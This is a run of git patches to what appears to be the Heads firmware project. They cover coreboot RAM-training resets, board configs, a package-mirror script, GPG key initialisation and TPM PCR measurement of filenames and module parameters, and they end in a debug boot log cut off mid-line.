northbridge/amd: Added resets for ram training failures + +Instead of booting into an unstable state (and crashing), the board +resets to re-attempt raminit. +--- + src/northbridge/amd/amdmct/mct_ddr3/mcthwl.c | 7 +++++-- + src/northbridge/amd/amdmct/mct_ddr3/mctsrc.c | 7 +++++-- + 2 files changed, 10 insertions(+), 4 deletions(-) + +diff --git a/src/northbridge/amd/amdmct/mct_ddr3/mcthwl.c b/src/northbridge/amd/amdmct/mct_ddr3/mcthwl.c +index 1ee10608b9..9a53bd352d 100644 +--- a/src/northbridge/amd/amdmct/mct_ddr3/mcthwl.c ++++ b/src/northbridge/amd/amdmct/mct_ddr3/mcthwl.c +@@ -18,6 +18,7 @@ + #include + #include + #include ++#include + #include "mct_d.h" + #include "mct_d_gcc.h" + +@@ -265,11 +266,13 @@ static void WriteLevelization_HW(struct MCTStatStruc *pMCTstat, + + pDCTstat->TargetFreq = final_target_freq; + +- if (global_phy_training_status) ++ if (global_phy_training_status) { + printk(BIOS_WARNING, + "%s: Uncorrectable invalid value(s) detected in second phase of write levelling; " +- "continuing but system may be unstable!\n", ++ "Restarting system\n", + __func__); ++ soft_reset(); ++ } + + uint8_t dct; + for (dct = 0; dct < 2; dct++) { +diff --git a/src/northbridge/amd/amdmct/mct_ddr3/mctsrc.c b/src/northbridge/amd/amdmct/mct_ddr3/mctsrc.c +index dbb989fe3d..c4cb53442d 100644 +--- a/src/northbridge/amd/amdmct/mct_ddr3/mctsrc.c ++++ b/src/northbridge/amd/amdmct/mct_ddr3/mctsrc.c +@@ -26,6 +26,7 @@ + #include + #include + #include ++#include + #include "mct_d.h" + #include "mct_d_gcc.h" + +@@ -1698,8 +1699,10 @@ void dqsTrainMaxRdLatency_SW_Fam15(struct MCTStatStruc *pMCTstat, + Set_NB32_index_wait_DCT(dev, Channel, index_reg, 0x00000050, 0x13131313); + } + dword = Get_NB32_DCT(dev, Channel, 0x268) & 0x3ffff; +- if (dword) +- printk(BIOS_ERR, "WARNING: MaxRdLatency training FAILED! Attempting to continue but your system may be unstable...\n"); ++ if (dword) { ++ printk(BIOS_ERR, "WARNING: MaxRdLatency training FAILED! Restarting system\n"); ++ soft_reset(); ++ } + + /* 2.10.5.8.5.1.5 */ + nb_pstate = 0; +-- +2.39.2 + From c02b235ebea6f9e798f578e618cb19ad21f659a2 Mon Sep 17 00:00:00 2001 From: arhabd Date: Sat, 24 Aug 2024 21:29:21 +0000 Subject: [PATCH 222/619] Update coreboot-kgpe-d16_workstation.config add vikings hcl to workstation Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_workstation.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 4c74a4c97..4389cb603 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -3,6 +3,9 @@ # coreboot configuration # +# Viking HCL +# https://wiki.vikings.net/hardware:kgpe-d16 + # # General setup # From c154866ee81ce5cb78b0e5a2e309b1e944e52d04 Mon Sep 17 00:00:00 2001 From: arhabd Date: Sat, 24 Aug 2024 21:30:05 +0000 Subject: [PATCH 223/619] Update coreboot-kgpe-d16_workstation-usb_keyboard.config add vikings HCL to workstation-usb_keyboard Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_workstation-usb_keyboard.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 4c74a4c97..4389cb603 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -3,6 +3,9 @@ # coreboot configuration # +# Viking HCL +# https://wiki.vikings.net/hardware:kgpe-d16 + # # General setup # From 4dfdc67174897b910b08beb5ca98d23d25e862c4 Mon Sep 17 00:00:00 2001 From: arhabd Date: Sat, 24 Aug 2024 21:30:43 +0000 Subject: [PATCH 224/619] Update coreboot-kgpe-d16_server.config add vikings HCL to server Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index b030ab687..4095e1317 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -3,6 +3,9 @@ # coreboot configuration # +# Viking HCL +# https://wiki.vikings.net/hardware:kgpe-d16 + # # General setup # From 9918f6275a1349b75c5dd0237bcc6af8bd16dfc3 Mon Sep 17 00:00:00 2001 From: arhabd Date: Sat, 24 Aug 2024 21:31:15 +0000 Subject: [PATCH 225/619] Update coreboot-kgpe-d16_server-whiptail.config add vikings HCL to server-whiptail Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server-whiptail.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 4c74a4c97..4389cb603 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -3,6 +3,9 @@ # coreboot configuration # +# Viking HCL +# https://wiki.vikings.net/hardware:kgpe-d16 + # # General setup # From 7ca8d42cde0cf41591e2e1d757a779cde3a656b4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 28 Aug 2024 14:09:18 -0400 Subject: [PATCH 226/619] tpmr : match desc of function in comment Co-authored-by: JonathonHall-Purism <109107914+JonathonHall-Purism@users.noreply.github.com> Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index b96eaf4f8..fb10f0c7a 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -101,7 +101,7 @@ is_hash() { # extend_pcr_state - extend a PCR state value with more hashes or raw data (which is hashed) # usage: -# extend_pcr_state +# extend_pcr_state # alg - either 'sha1' or 'sha256' to specify algorithm # state - a hash value setting the initial state # files/hashes... - any number of files or hashes, state is extended once for each item From 9c898a7b676b12a7bf6a6428f0e076fbbd818a93 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 30 Aug 2024 13:50:01 -0400 Subject: [PATCH 227/619] bin/seed_package_mirror.sh: Script to seed a package mirror Run this to download all the needed package artifacts for a mirror. Signed-off-by: Jonathon Hall --- bin/seed_package_mirror.sh | 64 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100755 bin/seed_package_mirror.sh diff --git a/bin/seed_package_mirror.sh b/bin/seed_package_mirror.sh new file mode 100755 index 000000000..ca1dfa61a --- /dev/null +++ b/bin/seed_package_mirror.sh @@ -0,0 +1,64 @@ +#! /usr/bin/env bash + +set -eo pipefail + +usage() { +cat >&2 < + +Downloads all current package artifacts needed to build Heads and copies them +to a mirror directory, for seeding a package mirror. + +Parameters: + : Path to a directory where the packages are placed. + Created if it does not already exist. +USAGE_END +} + +ARGS_DONE= +while [[ $# -ge 1 ]] && [ -z "$ARGS_DONE" ]; do + case "$1" in + --) + ARGS_DONE=y + shift + ;; + --help) + usage + exit 0 + ;; + --*) + echo "unknown parameter: $1" >&2 + usage + exit 1 + ;; + *) + ARGS_DONE=y + ;; + esac +done + +if [[ $# -ne 1 ]]; then + usage + exit 1 +fi + +ARG_MIRROR_DIR="$(realpath "$1")" + +cd "$(dirname "${BASH_SOURCE[0]}")/.." + +echo +echo "Cleaning build to download all packages..." +# fetch packages for representative boards +rm -rf build/x86 build/ppc64 +rm -rf packages/x86 packages/ppc64 +echo +echo "Downloading packages..." +make packages BOARD=qemu-coreboot-fbwhiptail-tpm1-hotp +make packages BOARD=talos-2 # newt, PPC +make packages BOARD=librem_l1um_v2 # TPM2 +make packages BOARD=librem_l1um # coreboot 4.11 +make packages BOARD=x230-maximized # io386 +echo +echo "Copying to mirror directory..." +mkdir -p "$ARG_MIRROR_DIR" +cp packages/x86/* packages/ppc64/* "$ARG_MIRROR_DIR/" From f06867306e43d6f2e7ca07553361722a60395d79 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 21:01:04 -0400 Subject: [PATCH 228/619] init: make sure config.user is overriden only with new values so that going DEBUG/undoing can work reproducibly Signed-off-by: Thierry Laurion --- initrd/init | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/initrd/init b/initrd/init index 8eccbff0b..a33e601c5 100755 --- a/initrd/init +++ b/initrd/init @@ -140,8 +140,14 @@ fi # # Values in user config have higher priority during combining thus effectively # changing the value for the rest of the scripts which source /tmp/config. -echo "export CONFIG_TPM=\"$CONFIG_TPM\"" >> /etc/config.user -echo "export CONFIG_TPM2_TOOLS=\"$CONFIG_TPM2_TOOLS\"" >> /etc/config.user + +#Only set CONFIG_TPM and CONFIG_TPM2_TOOLS if they are not already set in /etc/config.user +if ! grep -q 'CONFIG_TPM=' /etc/config.user; then + echo "export CONFIG_TPM=\"$CONFIG_TPM\"" >> /etc/config.user +fi +if ! grep -q 'CONFIG_TPM2_TOOLS=' /etc/config.user; then + echo "export CONFIG_TPM2_TOOLS=\"$CONFIG_TPM2_TOOLS\"" >> /etc/config.user +fi # CONFIG_BASIC was previously CONFIG_PUREBOOT_BASIC in the PureBoot distribution. # Substitute it in config.user if present for backward compatibility. From ebb4d7ab69f83b4e4f0a807440daee8e4f87faf3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 3 Sep 2024 14:28:45 -0400 Subject: [PATCH 229/619] key-init: force user to change time if <2024, give warnings on errors Signed-off-by: Thierry Laurion --- initrd/bin/key-init | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/initrd/bin/key-init b/initrd/bin/key-init index 68415f237..b1096beac 100755 --- a/initrd/bin/key-init +++ b/initrd/bin/key-init @@ -6,14 +6,21 @@ TRACE_FUNC # Post processing of keys +# Good system clock is required for GPG to work properly. +# if system year is less then 2024, prompt user to set correct time +if [ "$(date +%Y)" -lt 2024 ]; then + warn "System time is incorrect. Please set the correct time." + change-time.sh +fi + # Import user's keys -gpg --import /.gnupg/keys/*.key /.gnupg/keys/*.asc 2>/dev/null || true +gpg --import /.gnupg/keys/*.key /.gnupg/keys/*.asc 2>/dev/null || warn "Importing user's keys failed" # Import trusted distro keys allowed for ISO signing -gpg --homedir=/etc/distro/ --import /etc/distro/keys/* 2>/dev/null || true +gpg --homedir=/etc/distro/ --import /etc/distro/keys/* 2>/dev/null || warn "Importing distro keys failed" #Set distro keys trust level to ultimate (trust anything that was signed with these keys) -gpg --homedir=/etc/distro/ --list-keys --fingerprint --with-colons|sed -E -n -e 's/^fpr:::::::::([0-9A-F]+):$/\1:6:/p' |gpg --homedir=/etc/distro/ --import-ownertrust 2>/dev/null || true -gpg --homedir=/etc/distro/ --update-trust 2>/dev/null || true +gpg --homedir=/etc/distro/ --list-keys --fingerprint --with-colons|sed -E -n -e 's/^fpr:::::::::([0-9A-F]+):$/\1:6:/p' |gpg --homedir=/etc/distro/ --import-ownertrust 2>/dev/null || warn "Setting distro keys ultimate trust failed" +gpg --homedir=/etc/distro/ --update-trust 2>/dev/null || warn "Updating distro keys trust failed" # Add user's keys to the list of trusted keys for ISO signing -gpg --export | gpg --homedir=/etc/distro/ --import 2>/dev/null || true +gpg --export | gpg --homedir=/etc/distro/ --import 2>/dev/null || warn "Adding user's keys to distro keys failed" From 9633d6bfb12317c37cbb93508a2dfec9ea654bfa Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 3 Sep 2024 14:49:42 -0400 Subject: [PATCH 230/619] key-init: only attempt to import individual user keys if legacy dir exists, skip otherwise Signed-off-by: Thierry Laurion --- initrd/bin/key-init | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/initrd/bin/key-init b/initrd/bin/key-init index b1096beac..19e3d6f6f 100755 --- a/initrd/bin/key-init +++ b/initrd/bin/key-init @@ -13,8 +13,13 @@ if [ "$(date +%Y)" -lt 2024 ]; then change-time.sh fi -# Import user's keys -gpg --import /.gnupg/keys/*.key /.gnupg/keys/*.asc 2>/dev/null || warn "Importing user's keys failed" +# Import user's keys if they exist +if [ -d /.gnupg/keys ]; then + # This is legacy location for user's keys. cbfs-init takes for granted that keyring and trustdb are in /.gnupg + # oem-factory-reset generates keyring and trustdb which cbfs-init dumps to /.gnupg + # TODO: Remove individual key imports. This is still valid for distro keys only below. + gpg --import /.gnupg/keys/*.key /.gnupg/keys/*.asc 2>/dev/null || warn "Importing user's keys failed" +fi # Import trusted distro keys allowed for ISO signing gpg --homedir=/etc/distro/ --import /etc/distro/keys/* 2>/dev/null || warn "Importing distro keys failed" From 3c76bdc510d239422fdf0188b1d974eb46caddd3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 4 Sep 2024 14:26:42 -0400 Subject: [PATCH 231/619] oem-factory-reset gui-init: fix whiptail_error segfaulting because selfcalling itself, fix typo in gui-init fix bugs introduced by #1698 Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 2 +- initrd/bin/oem-factory-reset | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index 27f927cfd..4bb8f4d97 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -363,7 +363,7 @@ check_gpg_key() option=$(cat /tmp/whiptail) case "$option" in g ) - gpg-gui.sh && BG_COLOR_MAIN_MENU="normnal" + gpg-gui.sh && BG_COLOR_MAIN_MENU="normal" ;; i ) skip_to_menu="true" diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 6ed5a28fb..35e41ac3a 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -62,7 +62,7 @@ die() { exit 1 } -whiptail_error() { +local_whiptail_error() { local msg=$1 if [ "$msg" = "" ]; then die "whiptail error: An error msg is required" @@ -71,7 +71,7 @@ whiptail_error() { } whiptail_error_die() { - whiptail_error "$@" + local_whiptail_error "$@" die } @@ -1111,7 +1111,7 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD echo -e "\nChecking for USB Security Dongle...\n" enable_usb if ! gpg --card-status >/dev/null 2>&1; then - whiptail_error "Can't access USB Security Dongle; \nPlease remove and reinsert, then press Enter." + local_whiptail_error "Can't access USB Security Dongle; \nPlease remove and reinsert, then press Enter." if ! gpg --card-status >/dev/null 2>/tmp/error; then ERROR=$(tail -n 1 /tmp/error | fold -s) whiptail_error_die "Unable to detect USB Security Dongle:\n\n${ERROR}" From 32bb2e59eb2586abfafe130953cafc453842be5f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 4 Sep 2024 14:43:28 -0400 Subject: [PATCH 232/619] gui_functions: add newline after message telling user that automatic boot will happen unless interrupted Signed-off-by: Thierry Laurion --- initrd/etc/gui_functions | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 5b46acb5e..38958b1ab 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -6,8 +6,8 @@ # continue with automatic boot, nonzero if user interrupted. pause_automatic_boot() { - if IFS= read -t "$CONFIG_AUTO_BOOT_TIMEOUT" -s -n 1 -p \ - "Automatic boot in $CONFIG_AUTO_BOOT_TIMEOUT seconds unless interrupted by keypress... "; then + if IFS= read -t "$CONFIG_AUTO_BOOT_TIMEOUT" -s -n 1 -r -p \ + $'Automatic boot in '"$CONFIG_AUTO_BOOT_TIMEOUT"$' seconds unless interrupted by keypress...\n'; then return 1 # Interrupt automatic boot fi return 0 # Continue with automatic boot From e1bcf65998defaf69482648f415d95457851f92f Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 5 Sep 2024 14:23:50 -0400 Subject: [PATCH 233/619] config/coreboot-librem_11.config: Fix build, restore Wi-Fi coreboot cfg a9e6dfe8 ("config/coreboot-*: Turn off WIFI support in coreboot. If regression, will turn on case by case") broke builds for Librem 11. CONFIG_DRIVER_WIFI_GENERIC is required for Librem 11 as it describes its built-in Wi-Fi card in the device tree. The CONFIG_DRIVER_INTEL_WIFI driver does not actually seem to be needed directly, but this is the only way to bring in the generic driver, which is not selectable itself. Signed-off-by: Jonathon Hall --- config/coreboot-librem_11.config | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 573baee64..b153955fa 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -140,7 +140,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x30400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -# CONFIG_DRIVERS_INTEL_WIFI is not set +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -563,6 +563,7 @@ CONFIG_USE_PC_CMOS_ALTCENTURY=y CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y # CONFIG_DRIVERS_MTK_WIFI is not set CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V1=y From d66f476d283126a7c45feaef6d2050dd555c36f4 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 5 Sep 2024 14:27:30 -0400 Subject: [PATCH 234/619] .circleci/config.yml: Add Librem 11 We didn't notice the breakage for Librem 11 because it wasn't in CI. Add it. Signed-off-by: Jonathon Hall --- .circleci/config.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index e30f374a4..9c72f1d2a 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -491,6 +491,13 @@ workflows: requires: - librem_14 + - build: + name: librem_11 + target: librem_11 + subcommand: "" + requires: + - librem_14 + # dasharo release - build: name: nitropad-ns50 From 62c8366d2029cd1f9fe7dbf069b7e9dfb2773949 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 6 Sep 2024 08:44:11 -0400 Subject: [PATCH 235/619] key-init: If time resets, tell user to set it, but allow skipping The 'warn' message was not very effective, because change-time.sh clears the screen right after. Prompt with whiptail instead, which also lets the user know what's happening before we drop them into a series of prompts. Let the user skip changing time if they really want to. While they usually should set the time, it's rather frustrating if Heads forces them to go through these prompts when they don't want to. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/bin/key-init | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/initrd/bin/key-init b/initrd/bin/key-init index 19e3d6f6f..dcfaf5295 100755 --- a/initrd/bin/key-init +++ b/initrd/bin/key-init @@ -1,6 +1,7 @@ #!/bin/bash set -e -o pipefail . /etc/functions +. /etc/gui_functions TRACE_FUNC @@ -9,8 +10,11 @@ TRACE_FUNC # Good system clock is required for GPG to work properly. # if system year is less then 2024, prompt user to set correct time if [ "$(date +%Y)" -lt 2024 ]; then - warn "System time is incorrect. Please set the correct time." - change-time.sh + if whiptail_warning --title "System Time Incorrect" \ + --yesno "The system time is incorrect. Please set the correct time." \ + 0 80 --yes-button Continue --no-button Skip --clear; then + change-time.sh + fi fi # Import user's keys if they exist From de7902f5b905626e42e670e60ac1ceca1692fa58 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Thu, 5 Sep 2024 14:00:58 -0400 Subject: [PATCH 236/619] cbfs-init, insmod: Bring back params/filenames into PCR measurements cbfs-init used to measure filenames as well as the data in the files, but after refactoring it only measures file data. This means files could be renamed, or contents pivoted, without affecting the PCR measurements. Bring back the filename measurement. Similarly, insmod used to measure module parameters, but no longer does. Though we don't currently insert any modules with parameters, there's no reason to leave this open to break later, bring back the measurement. Signed-off-by: Jonathon Hall --- initrd/bin/cbfs-init | 6 +++++- initrd/sbin/insmod | 12 +++++------- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index efec2ca53..4035025c6 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -22,7 +22,11 @@ for cbfsname in `echo $cbfsfiles`; do || die "$filename: cbfs file read failed" if [ "$CONFIG_TPM" = "y" ]; then echo "TPM: Extending PCR[$CONFIG_PCR with] with $filename" - tpmr extend -ix "$CONFIG_PCR" -if $filename \ + # Measure both the filename and its content. This + # ensures that renaming files or pivoting file content + # will still affect the resulting PCR measurement. + tpmr extend -ix "$CONFIG_PCR" -ic "$filename" + tpmr extend -ix "$CONFIG_PCR" -if "$filename" \ || die "$filename: tpm extend failed" fi fi diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index e383eaf44..da654257e 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -39,17 +39,15 @@ if [ ! -r /sys/class/tpm/tpm0/pcrs -o ! -x /bin/tpm ]; then fi if [ -z "$tpm_missing" ]; then - echo "TPM: Extending PCR[$MODULE_PCR] with $MODULE prior of loading into kernel" + echo "TPM: Extending PCR[$MODULE_PCR] with $MODULE and parameters '$*' before loading" + # Extend with the module parameters (even if they are empty) and the + # module. Changing the parameters or the module content will result in a + # different PCR measurement. + tpmr extend -ix "$MODULE_PCR" -ic "$*" tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend failed" fi -if [ ! -z "$*" -a -z "$tpm_missing" ]; then - echo "TPM: Extending PCR[$MODULE_PCR] with $MODULE prior of loading into kernel" - tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ - || die "$MODULE: tpm extend on arguments failed" -fi - # Since we have replaced the real insmod, we must invoke # the busybox insmod via the original executable DEBUG "Loading $MODULE with busybox insmod" From 77d4be1dc64c593bd06a19c0ab7f9c930bd021e7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 6 Sep 2024 15:07:51 -0400 Subject: [PATCH 237/619] TPM extend ops: Augment output of TPM1/TMP22 for filename and file content hash ops Debug logtrace, screenshots of non-debug will be added in PR #1758 TPM1: [ 4.815559] [U] hello world [ 5.099000] DEBUG: Debug output enabled from board CONFIG_DEBUG_OUTPUT=y option (/etc/config) [ 5.122059] TRACE: Under init [ 5.165917] DEBUG: Applying panic_on_oom setting to sysctl [ 5.388757] TRACE: /bin/cbfs-init(5): main [ 5.516637] TRACE: /bin/cbfs-init(24): main [ 5.662271] DEBUG: TPM: Will extend PCR[7] with hash of filename /.gnupg/pubring.kbx [ 5.732223] TRACE: /bin/tpmr(790): main [ 5.785372] DEBUG: TPM: Extending PCR[7] with hash 7ccf4f64044946cf4e5b0efe3d959f00562227ae [ 5.838082] DEBUG: exec tpm extend -ix 7 -ic /.gnupg/pubring.kbx [ 6.081466] DEBUG: TPM: Will extend PCR[7] hash content of file /.gnupg/pubring.kbx [ 6.147455] TRACE: /bin/tpmr(790): main [ 6.196545] DEBUG: TPM: Extending PCR[7] with hash ee79223a3b9724ad1aab290a3785132805c79eae [ 6.251251] DEBUG: exec tpm extend -ix 7 -if /.gnupg/pubring.kbx [ 6.445119] TRACE: /bin/cbfs-init(24): main [ 6.585854] DEBUG: TPM: Will extend PCR[7] with hash of filename /.gnupg/trustdb.gpg [ 6.659172] TRACE: /bin/tpmr(790): main [ 6.707564] DEBUG: TPM: Extending PCR[7] with hash 7236ea8e612c1435259a8a0f8e0a8f1f5dba7042 [ 6.757645] DEBUG: exec tpm extend -ix 7 -ic /.gnupg/trustdb.gpg [ 7.013547] DEBUG: TPM: Will extend PCR[7] hash content of file /.gnupg/trustdb.gpg [ 7.082863] TRACE: /bin/tpmr(790): main [ 7.131022] DEBUG: TPM: Extending PCR[7] with hash ca8898407cacd96d6f2de90ae90825351be81c62 [ 7.183344] DEBUG: exec tpm extend -ix 7 -if /.gnupg/trustdb.gpg [ 7.413787] TRACE: /bin/key-init(6): main [ 8.718367] TRACE: Under /etc/ash_functions:combine_configs [ 8.803914] TRACE: Under /etc/ash_functions:pause_recovery !!! Hit enter to proceed to recovery shell !!! [ 9.045341] TRACE: /bin/setconsolefont.sh(6): main [ 9.096853] DEBUG: Board does not ship setfont, not checking console font [ 9.320494] TRACE: /bin/gui-init(641): main [ 9.356729] TRACE: Under /etc/ash_functions:enable_usb [ 9.445981] TRACE: /sbin/insmod(9): main [ 9.609464] TRACE: /sbin/insmod(53): main [ 9.660145] DEBUG: No module parameters, extending only with the module's content [ 9.791896] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/ehci-hcd.ko [ 9.860477] TRACE: /bin/tpmr(790): main [ 9.914849] DEBUG: TPM: Extending PCR[5] with hash bc9ff28a99e314cda69695ba34b26ed0d8b1e4ed [ 9.976867] DEBUG: exec tpm extend -ix 5 -if /lib/modules/ehci-hcd.ko [ 10.146966] DEBUG: Loading /lib/modules/ehci-hcd.ko with busybox insmod [ 10.184086] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver [ 10.276564] TRACE: /sbin/insmod(9): main [ 10.433503] TRACE: /sbin/insmod(53): main [ 10.486272] DEBUG: No module parameters, extending only with the module's content [ 10.620200] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/uhci-hcd.ko [ 10.698710] TRACE: /bin/tpmr(790): main [ 10.750637] DEBUG: TPM: Extending PCR[5] with hash bcb2f15c7eb52484072a76fc8a0d7399f6cf2189 [ 10.808379] DEBUG: exec tpm extend -ix 5 -if /lib/modules/uhci-hcd.ko [ 10.996254] DEBUG: Loading /lib/modules/uhci-hcd.ko with busybox insmod [ 11.026108] uhci_hcd: USB Universal Host Controller Interface driver [ 11.040703] uhci_hcd 0000:00:1d.0: UHCI Host Controller [ 11.053129] uhci_hcd 0000:00:1d.0: new USB bus registered, assigned bus number 1 [ 11.061568] uhci_hcd 0000:00:1d.0: detected 2 ports [ 11.070973] uhci_hcd 0000:00:1d.0: irq 16, io base 0x0000ff00 [ 11.089004] hub 1-0:1.0: USB hub found [ 11.097535] hub 1-0:1.0: 2 ports detected [ 11.114890] uhci_hcd 0000:00:1d.1: UHCI Host Controller [ 11.123848] uhci_hcd 0000:00:1d.1: new USB bus registered, assigned bus number 2 [ 11.134989] uhci_hcd 0000:00:1d.1: detected 2 ports [ 11.142404] uhci_hcd 0000:00:1d.1: irq 17, io base 0x0000fee0 [ 11.153338] hub 2-0:1.0: USB hub found [ 11.160572] hub 2-0:1.0: 2 ports detected [ 11.176481] uhci_hcd 0000:00:1d.2: UHCI Host Controller [ 11.183898] uhci_hcd 0000:00:1d.2: new USB bus registered, assigned bus number 3 [ 11.193509] uhci_hcd 0000:00:1d.2: detected 2 ports [ 11.201574] uhci_hcd 0000:00:1d.2: irq 18, io base 0x0000fec0 [ 11.211182] hub 3-0:1.0: USB hub found [ 11.219256] hub 3-0:1.0: 2 ports detected [ 11.314467] TRACE: /sbin/insmod(9): main [ 11.468430] TRACE: /sbin/insmod(53): main [ 11.521914] DEBUG: No module parameters, extending only with the module's content [ 11.656647] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/ohci-hcd.ko [ 11.726721] TRACE: /bin/tpmr(790): main [ 11.778253] DEBUG: TPM: Extending PCR[5] with hash f563e46fbbed46423a1e10219953233d310792f5 [ 11.831718] DEBUG: exec tpm extend -ix 5 -if /lib/modules/ohci-hcd.ko [ 12.010752] DEBUG: Loading /lib/modules/ohci-hcd.ko with busybox insmod [ 12.044192] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver [ 12.136462] TRACE: /sbin/insmod(9): main [ 12.293409] TRACE: /sbin/insmod(53): main [ 12.345947] DEBUG: No module parameters, extending only with the module's content [ 12.481562] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/ohci-pci.ko [ 12.547754] TRACE: /bin/tpmr(790): main [ 12.604827] DEBUG: TPM: Extending PCR[5] with hash a24699fdaac9976cc9447fd0cd444a469299ad2f [ 12.661256] DEBUG: exec tpm extend -ix 5 -if /lib/modules/ohci-pci.ko [ 12.847247] DEBUG: Loading /lib/modules/ohci-pci.ko with busybox insmod [ 12.870986] ohci-pci: OHCI PCI platform driver [ 12.959387] TRACE: /sbin/insmod(9): main [ 13.112275] TRACE: /sbin/insmod(53): main [ 13.163112] DEBUG: No module parameters, extending only with the module's content [ 13.291360] DEBUG: TPM: Will extend PCR[5] hash content of file /lib/modules/ehci-pci.ko [ 13.364853] TRACE: /bin/tpmr(790): main [ 13.438536] DEBUG: TPM: Extending PCR[5] with hash b80a90e11a01eba40bb7e566f3374d0aad326acb [ 13.505500] DEBUG: exec tpm extend -ix 5 -if /lib/modules/ehci-pci.ko [ 13.679865] DEBUG: Loading /lib/modules/ehci-pci.ko with busybox insmod [ 13.704539] ehci-pci: EHCI PCI platform driver [ 13.725570] ehci-pci 0000:00:1d.7: EHCI Host Controller [ 13.735562] ehci-pci 0000:00:1d.7: new USB bus registered, assigned bus number 4 [ 13.745092] ehci-pci 0000:00:1d.7: irq 19, io mem 0xfcf80000 [ 13.773286] ehci-pci 0000:00:1d.7: USB 2.0 started, EHCI 1.00 [ 13.783544] hub 